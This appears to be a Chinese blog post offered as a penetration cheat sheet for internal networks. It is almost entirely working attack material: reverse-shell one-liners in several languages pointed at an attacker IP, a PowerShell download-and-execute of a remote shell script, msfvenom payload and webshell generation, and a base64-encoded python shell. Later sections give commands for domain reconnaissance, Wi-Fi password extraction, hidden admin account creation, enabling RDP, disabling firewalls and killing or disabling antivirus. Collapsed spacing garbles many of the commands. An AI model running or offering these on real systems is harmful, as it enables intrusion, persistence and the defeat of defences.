反弹shell基本姿势,现在小编就来说说关于如何进行内网渗透?下面内容希望能帮助到你,我们来一起看看吧!

如何进行内网渗透(内网渗透之常用命令小结)

如何进行内网渗透

反弹shell

基本姿势

多种小姿势反弹

1.bash attacker监听 nc-lvvp4444 victim运行 bash-i>&/dev/tcp/<attackerip>/44440>&1 2.nc 支持-e选项 attacker监听 nc-lvvp4444 victim运行 nc<attackerip>4444-t-e/bin/bash 3.python attacker监听 nc-lvvp4444 victim运行 python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attackerip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 4.php attacker监听 nc-lvvp4444 victim运行 php-r'$sock=fsockopen("<attackerip>",4444);exec("/bin/sh-i<&3>&32>&3");' 或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个[linux和Windows两用的脚本](https://my.oschina.net/chinahermit/blog/144035) 5.java脚本 r=Runtime.getRuntime() p=r.exec(["/bin/bash","-c","exec5<>/dev/tcp/<attackerip>/4444;cat<&5|whilereadline;do$line2>&5>&5;done"]asString[]) p.waitFor() 6.perl脚本 perl-e'useSocket;$i="<attackerip>";$p=4444;socket(S,PF_Inet,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};' 7.powershell victim运行 powershellIEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp-Reverse-IPAddress<attackerip>-port4444

*MSFVenom生成常用payload *

1.生成二进制文件 关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。 Windows msfvenom-pwindows/meterpreter/reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fexe>shell.exe Linux msfvenom-plinux/x86/meterpreter/reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-felf>shell.elf Mac msfvenom-posx/x86/shell_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fmacho>shell.macho 如何利用? 以Windows为例,使用上面的命令生成一个exe的payload,复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口: msfconsole useexploit/multi/handler setPAYLOADwindows/meterpreter/reverse_tcp setLHOST<自己的IP> setLPORT4444 setExitOnSessionfalse exploit-j-z 执行完之后在Windows下执行shell.exe 2.生成webshell脚本 在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell? PHP msfvenom-pphp/meterpreter_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.php catshell.php|pbcopy&&echo'<?php'|tr-d'n'>shell.php&&pbpaste>>shell.php ASP msfvenom-pwindows/meterpreter/reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fasp>shell.asp JSP msfvenom-pjava/jsp_shell_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.jsp WAR msfvenom-pjava/jsp_shell_reverse_tcpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fwar>shell.war 如何利用? 下面以php为例做一下测试,使用以下命令生成一个webshell,在kali上使用msf执行下面的命令,监听端口4444: msfconsole useexploit/multi/handler setPAYLOADphp/meterpreter_reverse_tcp setLHOST<自己的IP> setLPORT4444 setExitOnSessionfalse exploit-j-z 将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行: phpshell.php 3.脚本shell 关于使用脚本反弹shell的方式,主要以python、bash、perl为例。 Python msfvenom-pcmd/unix/reverse_pythonLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.py Bash msfvenom-pcmd/unix/reverse_bashLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.sh Perl msfvenom-pcmd/unix/reverse_perlLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fraw>shell.pl Powershell msfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<YourIPAddress>LPORT=<YourPorttoConnectOn>-fpsh>shell.ps1 powershell.exe-ExecutionPolicyBypass-Fileshell.ps1 如何使用? 下面就以Python为例做一下测试,使用以下命令生成一个脚本,在kali上使用msf执行下面的命令,监听端口4444: msfconsole useexploit/multi/handler setPAYLOADcmd/unix/reverse_python setLHOST<自己的IP> setLPORT4444 setExitOnSessionfalse exploit-j-z 然后复制shell.py中的内容在linux命令行下执行,如下: python-c"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

信息收集

前期收集

queryuser||qwinsta查看当前在线用户 netuser查看本机用户 netuser/domain查看域用户 netview&netgroup"domaincomputers"/domain查看当前域计算机列表第二个查的更多 netview/domain查看有几个域 netview\\\\dc查看dc域内共享文件 netgroup/domain查看域里面的组 netgroup"domainadmins"/domain查看域管 netlocalgroupadministrators/domain/这个也是查域管,是升级为域控时,本地账户也成为域管 netgroup"domaincontrollers"/domain域控 nettime/domain netconfigworkstation当前登录域-计算机名-用户名 netuse\\\\域控(如pc.xx.com)password/user:xxx.com\username相当于这个帐号登录域内主机,可访问资源 ipconfig systeminfo tasklist/svc tasklist/Sip/Udomain\username/P/V查看远程计算机tasklist netlocalgroupadministrators&&whoami查看当前是不是属于管理组 netstat-ano nltest/dclist:xx查看域控 whoami/all查看MandatoryLabeluac级别和sid号 netsessoin查看远程连接session(需要管理权限) netshare共享目录 cmdkey/l查看保存登陆凭证 echo%logonserver%查看登陆域 spn–ladministratorspn记录 set环境变量 dsqueryserver-查找目录中的ADDC/LDS实例 dsqueryuser-查找目录中的用户 dsquerycomputer查询所有计算机名称windows2003 dir/s*.exe查找指定目录下及子目录下没隐藏文件 arp-a

其他命令

pingicmp连通性 nslookupwww.baidu.comvps-ipdns连通性 dig@vps-ipwww.baidu.com curlvps:8080http连通性 tracert bitsadmin/transfernhttp://ip/xx.exeC:\windows\temp\x.exe一种上传文件>=2008 fuser-nvtcp80查看端口pid rdesktop-uusernameiplinux连接win远程桌面(有可能不成功) wherefilewin查找文件是否存在 找路径,Linux下使用命令find-name*.jsp来查找,Windows下,使用for/rc:\windows\temp\%iin(filelsss.dmp)do@echo%i netstat-apn|grep8888kill-9PID查看端口并kill

发现密码

发现远程登录密码等密码:

https://www.nirsoft.net/utils/network_password_recovery.html

wifi 密码:

netshwlanshowprofile查处wifi名 netshwlanshowprofileWiFi-namekey=clear获取对应wifi的密码

进阶命令

远程登录

判断是内网,还是外网,内网转发到 vps

netstat-ano没有开启3389端口,复查下 tasklist/svc,查svchost.exe对应的TermService的pid,看netstat相等的pid即3389端口.

添加账号

netuseradmin1admin1/add&netlocalgroupadministratorsadmin1/add

*如不允许远程连接,修改注册表 *

REGADD"HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer"/vfDenyTSConnections/tREG_DWORD/d00000000/f REGADD"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/vPortNumber/tREG_DWORD/d0x00000d3d/f

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许 3389 端口,命令如下:

netshadvfirewallfirewalladdrulename="RemoteDesktop"protocol=TCPdir=inlocalport=3389action=allow

关闭防火墙

netshfirewallsetopmodemode=disable

解决system权限3389无法添加的用户情况:

判断原因: I.杀软篇 1.360杀毒软件 2.麦咖啡杀毒软件 3.卡巴斯基杀毒软件 4.其他杀毒软件或防护软件 II.策略篇 1.3389端口变更 2.莫名其妙无法添加账户 3.管理员限制篇 4.系统已达最大连接数处理 ———————–I.杀软篇—————————– 1.360杀毒软件 taskkill/im进程名.exe/f 把主动防御结束。360相关进程如下: 360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe 有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先queryuser看看管理员状态,因为很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill 所以logoff把管理员踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上 2.麦咖啡杀毒软件 完整一下过程就是,启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组 这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。 netuserguest/active:yes//将guest用户启用 netuserguestsilic!&11133//修改guest密码 netlocalgroupadministratorsguest/add//添加guest到管理员用户组中 3.卡巴斯基 调整系统时间,让卡巴的key失效 mkdir建立以非法字符“.”命名的文件夹,将pr等提权程序传进去。 4.金山防护软件 主要是KSafeSvc.exe taskkill搞不定就用ntsd ntsd-cq-pPID 金山毒霸 金山卫士 瑞星防火墙的组合 可以将如下代码保存到c:\windows\temp\a.vbs Default setwsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Setob=GetObject(os) Setoe=GetObject(os&"/Administrators,group") Setod=ob.Create("user","silic") od.SetPassword"silic" od.SetInfo Setof=GetObject(os&"/silic",user) oe.addos&"/silic" 然后用如下命令执行,就能得到账户为silic密码为silic的管理员账户了: cscriptc:\windows\temp\a.vbs 5.禁用服务法 scconfig服务名start=disabled 给杀软服务设置为禁用,重启服务器,杀毒防护服务就不能运行。就无阻畅通了,例如: scconfigMsMpSvcstart=disabled ——————————–II,策略篇—————————– 1.3389端口变更 进行3389添加账户前首先要知道3389到底开启没有。 netstat-ano查看端口和使用端口的进程pid,然后Tasklist看一下有哪个svchost.exe进程的pid使用了端口 注意,是svchost.exe当中的某个。 2.莫名奇妙无法添加账户 把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$就过了 如果还是添加不上,可以尝试用vbs脚本来添加 3.管理员限制 管理员直接把c:\windows\system32的net.exe给删了或者换了 于是你直接net的时候会提示拒绝访问或者不是系统命令等。 管你自己传一个自己的net.exe就突破了。 当然,也有64位系统和你的程序不兼容的情况发生,他是64你就传64位的 4.达到最大连接限制 有时候添加了账户,但是连接提示最大连接数限制。 首先queryuser查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8,超过8说明服务器好久没重启了(这个没准的) 然后logoffID,就把对应ID的管理员踢掉了。然后就能登录了。

隐藏 win 账户

渗透技巧——Windows 系统的帐户隐藏

端口转发与代理工具

参考文章:

渗透测试中弹shell的多种方式及bypass

史上最强内网渗透知识点总结

解决system权限3389无法添加的用户情况

,